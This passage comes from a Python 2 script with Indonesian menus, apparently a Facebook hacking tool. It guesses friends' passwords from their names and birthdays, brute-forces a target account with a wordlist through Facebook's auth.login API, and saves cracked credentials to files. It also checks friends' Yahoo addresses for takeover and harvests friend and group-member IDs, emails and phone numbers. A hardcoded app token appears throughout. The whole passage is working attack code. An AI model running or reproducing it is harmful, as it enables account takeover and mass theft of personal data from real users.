  606.             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  607.             q = json.load(data)
  608.             if 'access_token' in q:
  609.                 print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1
  610.             else:
  611.                 if 'www.facebook.com' in q['error_msg']:
  612.                     print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1
  613.                 else:
  614.                     pass2 = b['first_name'] + '12345'
  615.                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  616.                     q = json.load(data)
  617.                     if 'access_token' in q:
  618.                         print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2
  619.                     else:
  620.                         if 'www.facebook.com' in q['error_msg']:
  621.                             print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2
  622.                         else:
  623.                             pass3 = b['last_name'] + '123'
  624.                             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  625.                             q = json.load(data)
  626.                             if 'access_token' in q:
  627.                                 print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3
  628.                             else:
  629.                                 if 'www.facebook.com' in q['error_msg']:
  630.                                     print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3
  631.                                 else:
  632.                                     lahir = b['birthday']
  633.                                     pass4 = lahir.replace('/', '')
  634.                                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  635.                                     q = json.load(data)
  636.                                     if 'access_token' in q:
  637.                                         print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4
  638.                                     else:
  639.                                         if 'www.facebook.com' in q['error_msg']:
  640.                                             print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4
  641.         except:
  642.             pass
  643.  
  644.     p = ThreadPool(30)
  645.     p.map(main, id)
  646.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  647.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  648.     super()
  649.  
  650.  
  651. def brute():
  652.     os.system('clear')
  653.     try:
  654.         toket = open('login.txt', 'r').read()
  655.     except IOError:
  656.         print '\x1b[1;91m[!] Token tidak ditemukan'
  657.         os.system('rm -rf login.txt')
  658.         time.sleep(1)
  659.         login()
  660.     else:
  661.         os.system('clear')
  662.         print logo
  663.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  664.         try:
  665.             email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ')
  666.             passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m')
  667.             total = open(passw, 'r')
  668.             total = total.readlines()
  669.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  670.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email
  671.             print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword'
  672.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  673.             sandi = open(passw, 'r')
  674.             for pw in sandi:
  675.                 try:
  676.                     pw = pw.replace('\n', '')
  677.                     sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw)
  678.                     sys.stdout.flush()
  679.                     data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  680.                     mpsh = json.loads(data.text)
  681.                     if 'access_token' in mpsh:
  682.                         dapat = open('Brute.txt', 'w')
  683.                         dapat.write(email + ' | ' + pw + '\n')
  684.                         dapat.close()
  685.                         print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  686.                         print 40 * '\x1b[1;97m\xe2\x95\x90'
  687.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
  688.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
  689.                         keluar()
  690.                     else:
  691.                         if 'www.facebook.com' in mpsh['error_msg']:
  692.                             ceks = open('Brutecekpoint.txt', 'w')
  693.                             ceks.write(email + ' | ' + pw + '\n')
  694.                             ceks.close()
  695.                             print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  696.                             print 40 * '\x1b[1;97m\xe2\x95\x90'
  697.                             print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  698.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
  699.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
  700.                             keluar()
  701.                 except requests.exceptions.ConnectionError:
  702.                     print '\x1b[1;91m[!] Koneksi Error'
  703.                     time.sleep(1)
  704.  
  705.         except IOError:
  706.             print '\x1b[1;91m[!] File tidak ditemukan...'
  707.             print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist'
  708.             tanyaw()
  709.  
  710.  
  711. def tanyaw():
  712.     why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ')
  713.     if why == '':
  714.         print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)'
  715.         tanyaw()
  716.     else:
  717.         if why == 'y':
  718.             wordlist()
  719.         else:
  720.             if why == 'Y':
  721.                 wordlist()
  722.             else:
  723.                 if why == 't':
  724.                     menu_hack()
  725.                 else:
  726.                     if why == 'T':
  727.                         menu_hack()
  728.                     else:
  729.                         print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)'
  730.                         tanyaw()
  731.  
  732.  
  733. def menu_yahoo():
  734.     os.system('clear')
  735.     try:
  736.         toket = open('login.txt', 'r').read()
  737.     except IOError:
  738.         print '\x1b[1;91m[!] Token tidak ditemukan'
  739.         os.system('rm -rf login.txt')
  740.         time.sleep(1)
  741.         login()
  742.  
  743.     os.system('clear')
  744.     print logo
  745.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  746.     print '\x1b[1;37;40m1. Dari teman facebook'
  747.     print '\x1b[1;37;40m2. Gunakan File'
  748.     print '\x1b[1;31;40m0. Kembali'
  749.     print
  750.     yahoo_pilih()
  751.  
  752.  
  753. def yahoo_pilih():
  754.     go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  755.     if go == '':
  756.         print '\x1b[1;91m[!] Jangan kosong'
  757.         yahoo_pilih()
  758.     else:
  759.         if go == '1':
  760.             yahoofriends()
  761.         else:
  762.             if go == '2':
  763.                 yahoolist()
  764.             else:
  765.                 if go == '0':
  766.                     menu_hack()
  767.                 else:
  768.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada'
  769.                     yahoo_pilih()
  770.  
  771.  
  772. def yahoofriends():
  773.     os.system('clear')
  774.     try:
  775.         toket = open('login.txt', 'r').read()
  776.     except IOError:
  777.         print '\x1b[1;91m[!] Token tidak ditemukan'
  778.         os.system('rm -rf login.txt')
  779.         time.sleep(1)
  780.         login()
  781.  
  782.     os.system('clear')
  783.     print logo
  784.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  785.     mpsh = []
  786.     jml = 0
  787.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  788.     teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  789.     kimak = json.loads(teman.text)
  790.     save = open('MailVuln.txt', 'w')
  791.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  792.     for w in kimak['data']:
  793.         jml += 1
  794.         mpsh.append(jml)
  795.         id = w['id']
  796.         nama = w['name']
  797.         links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
  798.         z = json.loads(links.text)
  799.         try:
  800.             mail = z['email']
  801.             yahoo = re.compile('@.*')
  802.             otw = yahoo.search(mail).group()
  803.             if 'yahoo.com' in otw:
  804.                 br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  805.                 br._factory.is_html = True
  806.                 br.select_form(nr=0)
  807.                 br['username'] = mail
  808.                 klik = br.submit().read()
  809.                 jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  810.                 try:
  811.                     pek = jok.search(klik).group()
  812.                 except:
  813.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  814.                     continue
  815.  
  816.                 if '"messages.ERROR_INVALID_USERNAME">' in pek:
  817.                     save.write(mail + '\n')
  818.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  819.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + nama
  820.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + id
  821.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]'
  822.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  823.                 else:
  824.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  825.         except KeyError:
  826.             pass
  827.  
  828.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  829.     print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  830.     save.close()
  831.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  832.     menu_yahoo()
  833.  
  834.  
  835. def yahoolist():
  836.     os.system('clear')
  837.     try:
  838.         toket = open('login.txt', 'r').read()
  839.     except IOError:
  840.         print '\x1b[1;91m[!] Token tidak ditemukan'
  841.         os.system('rm -rf login.txt')
  842.         time.sleep(1)
  843.         login()
  844.     else:
  845.         os.system('clear')
  846.         print logo
  847.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  848.         files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m')
  849.         try:
  850.             total = open(files, 'r')
  851.             mail = total.readlines()
  852.         except IOError:
  853.             print '\x1b[1;91m[!] File tidak ada'
  854.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  855.             menu_yahoo()
  856.  
  857.     mpsh = []
  858.     jml = 0
  859.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  860.     save = open('MailVuln.txt', 'w')
  861.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  862.     print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m:  \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m]  Green[\x1b[1;92m' + vuln + '\x1b[1;97m]'
  863.     print
  864.     mail = open(files, 'r').readlines()
  865.     for pw in mail:
  866.         mail = pw.replace('\n', '')
  867.         jml += 1
  868.         mpsh.append(jml)
  869.         yahoo = re.compile('@.*')
  870.         otw = yahoo.search(mail).group()
  871.         if 'yahoo.com' in otw:
  872.             br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  873.             br._factory.is_html = True
  874.             br.select_form(nr=0)
  875.             br['username'] = mail
  876.             klik = br.submit().read()
  877.             jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  878.             try:
  879.                 pek = jok.search(klik).group()
  880.             except:
  881.                 print '\x1b[1;91m ' + mail
  882.                 continue
  883.  
  884.             if '"messages.ERROR_INVALID_USERNAME">' in pek:
  885.                 save.write(mail + '\n')
  886.                 print '\x1b[1;92m ' + mail
  887.             else:
  888.                 print '\x1b[1;91m ' + mail
  889.  
  890.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  891.     print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  892.     save.close()
  893.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  894.     menu_yahoo()
  895.  
  896.  
  897. def grab():
  898.     os.system('clear')
  899.     try:
  900.         toket = open('login.txt', 'r').read()
  901.     except IOError:
  902.         print '\x1b[1;91m[!] Token tidak ditemukan'
  903.         os.system('rm -rf login.txt')
  904.         time.sleep(1)
  905.         login()
  906.  
  907.     os.system('clear')
  908.     print logo
  909.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  910.     print '\x1b[1;37;40m1. Ambil ID teman'
  911.     print '\x1b[1;37;40m2. Ambil ID teman dari teman'
  912.     print '\x1b[1;37;40m3. Ambil ID member GRUP'
  913.     print '\x1b[1;37;40m4. Ambil Email teman'
  914.     print '\x1b[1;37;40m5. Ambil Email teman dari teman'
  915.     print '\x1b[1;37;40m6. Ambil No HP teman'
  916.     print '\x1b[1;37;40m7. Ambil No HP teman dari teman'
  917.     print '\x1b[1;31;40m0. Kembali'
  918.     print
  919.     grab_pilih()
  920.  
  921.  
  922. def grab_pilih():
  923.     cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  924.     if cuih == '':
  925.         print '\x1b[1;91m[!] Jangan kosong'
  926.         grab_pilih()
  927.     else:
  928.         if cuih == '1':
  929.             id_teman()
  930.         else:
  931.             if cuih == '2':
  932.                 idfrom_teman()
  933.             else:
  934.                 if cuih == '3':
  935.                     id_member_grup()
  936.                 else:
  937.                     if cuih == '4':
  938.                         email()
  939.                     else:
  940.                         if cuih == '5':
  941.                             emailfrom_teman()
  942.                         else:
  943.                             if cuih == '6':
  944.                                 nomor_hp()
  945.                             else:
  946.                                 if cuih == '7':
  947.                                     hpfrom_teman()
  948.                                 else:
  949.                                     if cuih == '0':
  950.                                         menu_hack()
  951.                                     else:
  952.                                         print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada'
  953.                                         grab_pilih()
  954.  
  955.  
  956. def id_teman():
  957.     os.system('clear')
  958.     try:
  959.         toket = open('login.txt', 'r').read()
  960.     except IOError:
  961.         print '\x1b[1;91m[!] Token tidak ditemukan'
  962.         os.system('rm -rf login.txt')
  963.         time.sleep(1)
  964.         login()
  965.     else:
  966.         try:
  967.             os.system('clear')
  968.             print logo
  969.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  970.             r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  971.             z = json.loads(r.text)
  972.             save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  973.             bz = open(save_id, 'w')
  974.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  975.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  976.             for ah in z['data']:
  977.                 idteman.append(ah['id'])
  978.                 bz.write(ah['id'] + '\n')
  979.                 print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + ah['name']
  980.                 print '\x1b[1;92mID   \x1b[1;91m : \x1b[1;97m' + ah['id']
  981.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  982.  
  983.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman)
  984.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id
  985.             bz.close()
  986.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  987.             grab()
  988.         except IOError:
  989.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  990.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  991.             grab()
  992.         except (KeyboardInterrupt, EOFError):
  993.             print '\x1b[1;91m[!] Terhenti'
  994.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  995.             grab()
  996.         except KeyError:
  997.             os.remove(save_id)
  998.             print '\x1b[1;91m[!] Kesalahan terjadi'
  999.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1000.             grab()
  1001.         except requests.exceptions.ConnectionError:
  1002.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1003.             keluar()
  1004.  
  1005.  
  1006. def idfrom_teman():
  1007.     os.system('clear')
  1008.     try:
  1009.         toket = open('login.txt', 'r').read()
  1010.     except IOError:
  1011.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1012.         os.system('rm -rf login.txt')
  1013.         time.sleep(1)
  1014.         login()
  1015.     else:
  1016.         try:
  1017.             os.system('clear')
  1018.             print logo
  1019.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1020.             idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m')
  1021.             try:
  1022.                 jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
  1023.                 op = json.loads(jok.text)
  1024.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
  1025.             except KeyError:
  1026.                 print '\x1b[1;91m[!] Belum berteman'
  1027.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1028.                 grab()
  1029.  
  1030.             r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket)
  1031.             z = json.loads(r.text)
  1032.             save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1033.             bz = open(save_idt, 'w')
  1034.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1035.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1036.             for ah in z['friends']['data']:
  1037.                 idfromteman.append(ah['id'])
  1038.                 bz.write(ah['id'] + '\n')
  1039.                 print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + ah['name']
  1040.                 print '\x1b[1;92mID   \x1b[1;91m : \x1b[1;97m' + ah['id']
  1041.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  1042.  
  1043.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman)
  1044.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt
  1045.             bz.close()
  1046.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1047.             grab()
  1048.         except IOError:
  1049.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1050.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1051.             grab()
  1052.         except (KeyboardInterrupt, EOFError):
  1053.             print '\x1b[1;91m[!] Terhenti'
  1054.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1055.             grab()
  1056.         except requests.exceptions.ConnectionError:
  1057.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1058.             keluar()
  1059.  
  1060.  
  1061. def id_member_grup():
  1062.     os.system('clear')
  1063.     try:
  1064.         toket = open('login.txt', 'r').read()
  1065.     except IOError:
  1066.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1067.         os.system('rm -rf login.txt')
  1068.         time.sleep(1)
  1069.         login()
  1070.     else:
  1071.         try:
  1072.             os.system('clear')
  1073.             print logo
  1074.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1075.             id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ')
  1076.             try:
  1077.                 r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
  1078.                 asw = json.loads(r.text)
  1079.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  1080.             except KeyError:
  1081.                 print '\x1b[1;91m[!] Grup tidak ditemukan'
  1082.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1083.                 grab()
  1084.  
  1085.             simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1086.             b = open(simg, 'w')
  1087.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1088.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1089.             re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket)
  1090.             s = json.loads(re.text)
  1091.             for i in s['data']:
  1092.                 idmem.append(i['id'])
  1093.                 b.write(i['id'] + '\n')
  1094.                 print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + i['name']
  1095.                 print '\x1b[1;92mID  \x1b[1;91m  :\x1b[1;97m ' + i['id']
  1096.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  1097.  
  1098.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem)
  1099.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg
  1100.             b.close()
  1101.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1102.             grab()
  1103.         except IOError:
  1104.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1105.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1106.             grab()
  1107.         except (KeyboardInterrupt, EOFError):
  1108.             print '\x1b[1;91m[!] Terhenti'
  1109.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1110.             grab()
  1111.         except KeyError:
  1112.             os.remove(simg)
  1113.             print '\x1b[1;91m[!] Grup tidak ditemukan'
  1114.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1115.             grab()
  1116.         except requests.exceptions.ConnectionError:
  1117.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1118.             keluar()
  1119.  
  1120.  
  1121. def email():
  1122.     os.system('clear')
  1123.     try:
  1124.         toket = open('login.txt', 'r').read()
  1125.     except IOError:
  1126.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1127.         os.system('rm -rf login.txt')
  1128.         time.sleep(1)
  1129.         login()
  1130.     else:
  1131.         try:
  1132.             os.system('clear')
  1133.             print logo
  1134.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1135.             mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1136.             r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  1137.             a = json.loads(r.text)
  1138.             mpsh = open(mails, 'w')
  1139.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1140.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1141.             for i in a['data']:
  1142.                 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
  1143.                 z = json.loads(x.text)
  1144.                 try:
  1145.                     em.append(z['email'])
  1146.                     mpsh.write(z['email'] + '\n')
  1147.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1148.                     print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
  1149.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1150.                 except KeyError:
  1151.                     pass
  1152.  
  1153.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em)
  1154.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails
  1155.             mpsh.close()
  1156.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1157.             grab()
  1158.         except IOError:
  1159.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1160.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1161.             grab()
  1162.         except (KeyboardInterrupt, EOFError):
  1163.             print '\x1b[1;91m[!] Terhenti'
  1164.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1165.             grab()
  1166.         except KeyError:
  1167.             os.remove(mails)
  1168.             print '\x1b[1;91m[!] Kesalahan terjadi'
  1169.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1170.             grab()
  1171.         except requests.exceptions.ConnectionError:
  1172.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1173.             keluar()
  1174.  
  1175.  
  1176. def emailfrom_teman():
  1177.     os.system('clear')
  1178.     try:
  1179.         toket = open('login.txt', 'r').read()
  1180.     except IOError:
  1181.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1182.         os.system('rm -rf login.txt')
  1183.         time.sleep(1)
  1184.         login()
  1185.     else:
  1186.         try:
  1187.             os.system('clear')
  1188.             print logo
  1189.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1190.             idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m')
  1191.             try:
  1192.                 jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
  1193.                 op = json.loads(jok.text)
  1194.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
  1195.             except KeyError:
  1196.                 print '\x1b[1;91m[!] Belum berteman'
  1197.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1198.                 grab()
  1199.  
  1200.             mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1201.             r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
  1202.             a = json.loads(r.text)
  1203.             mpsh = open(mails, 'w')
  1204.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1205.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1206.             for i in a['data']:
  1207.                 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
  1208.                 z = json.loads(x.text)
  1209.                 try:
  1210.                     emfromteman.append(z['email'])
  1211.                     mpsh.write(z['email'] + '\n')
  1212.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1213.                     print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
  1214.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1215.                 except KeyError:
  1216.                     pass
  1217.  
  1218.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman)
  1219.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails
  1220.             mpsh.close()
  1221.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1222.             grab()
  1223.         except IOError:
